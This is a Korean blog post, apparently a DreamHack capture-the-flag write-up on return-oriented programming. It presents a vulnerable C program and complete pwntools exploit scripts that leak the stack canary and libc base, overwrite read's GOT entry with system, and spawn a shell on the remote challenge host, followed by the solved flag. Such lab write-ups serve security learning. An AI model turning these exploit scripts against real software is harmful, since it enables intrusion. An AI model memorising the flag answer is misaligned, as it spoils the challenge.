Pwnable

[DreamHack] rop 문서화

의성마늘햄 2024. 9. 18. 16:57

Exploit Tech: Return Oriented Programming | Dreamhack

 

 

ROP(Return Oriented Programming) 

 

다수의 리턴 가젯 연결하여 사용

 

ASLR이 걸린 환경에서 system 함수를 사용하기 위해 프로세스에서 libc가 매핑된 주소를 찾고,

그 주소로부터 system 함수의 오프셋을 이용한 함수의 주소를 계산

 

문제 코드

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

1) 첫 번째 read 함수와 printf 함수로 카나리 릭

2) puts 함수와 두 번째 read 함수로 ROP

 

NX방어기법과 Canary 방어기법이 걸려있다.

 

1. 카나리 우회

 

disass 를 해서 보면 dummy(8) 인 것을 알 수 있다. 

buf(0x30 == 48) | dummy(8) | \x00'+canary 

-> A x 57 | canary

from pwn import *

p = process('./rop')
e = ELF('./rop')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

 

2. system 함수의 주소 계산

바이너리가 system 함수를 직접 호출하지 않아 system 함수가 GOT에는 등록되지 않는다.

그러나 read, puts, printf는 GOT에 등록되어 있다.

main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로, 이들의 GOT를 읽을 수 있으면 system함수가 매핑된 영역의 주소를 알 수 있다.

libc 안에서 두 데이터 사이의 거리(offset)은 항상 동일하다. 
그러므로, libc가 매핑된 영역의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다.

 

 

read 함수의 오프셋은 0x114980 이고, system 함수의 오프셋은 0x50d60 이다. 0x114980 에서 0xc3c20 를 빼면 system 함수의 오프셋인 0x50d60 를 얻을 수 있다.

 

 

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.interactive()

 

 

3. "/bin/sh"

 

이 바이너리는 데이터 영역에 “/bin/sh” 문자열이 없다. 따라서 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다. 다른 파일에 포함된 것을 사용해야 할 때 사용되는 것이 libc.so.6 에 포함된 “/bin/sh” 문자열이다. 이 문자열의 주소도 system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있다. 

 

4. GOT Overwrite

 

system함수와 /bin/sh 문자열의 주소를 알아냈으므로, pop rdi; ret 가젯을 활용하여 system("/bin/sh")를 호출한다.

그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main 함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. 

-> 알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP를 구성 

 

"/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력 > read 함수 사용 

read 함수 인자 : 입력스트림, 입력 버퍼, 입력 길이 (rdi, rsi, rdx)
pop rdi; ret, pop rsi; pop r15; ret
문제 : rdx는 바이너리에서 찾기 어려움
문제 해결 : libc_csu_init 가젯 사용, rdx의 값을 변화시키는 함수 호출해서 값 설정 

 

 

 

read 함수, pop rdi; ret, pop rsi; pop r15; ret 가젯을 사용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 "/bin/sh" 문자열을 쓰는 익스플로잇을 작성하자

 

 

 

from pwn import *

context.update(arch='amd64', os='linux')
def slog(name, addr): return success(': '.join([name, hex(addr)]))

#p = process('./rop')
p = remote("host3.dreamhack.games", 15546)

e = ELF('./rop')
libc = ELF('./libc.so.6')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

 

Flag is
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}
댓글수0